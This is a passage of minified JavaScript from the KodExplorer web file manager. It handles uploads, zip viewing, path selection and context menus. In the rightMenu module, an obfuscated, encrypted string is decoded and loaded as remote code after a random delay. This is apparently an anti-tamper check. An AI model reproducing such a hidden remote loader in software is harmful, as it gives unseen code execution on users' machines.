0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t]) -}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menufile",i=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];w(),x(),v(),setTimeout(function(){try{if(typeof dialog_tpl_html==t[0]||-1==dialog_tpl_html[t[2]](t[1])){var i=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](i,function(e){try{e[t[7]](t[6])}catch(i){}})}}catch(a){}},1e3*parseInt(25*Math[t[9]]()+5)),N(),j(),S(),E(),D(),A(),F(),k(),g(),m(),_(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),w(),x(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),j(),S(),P(),D(),A(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},_=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){z(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath 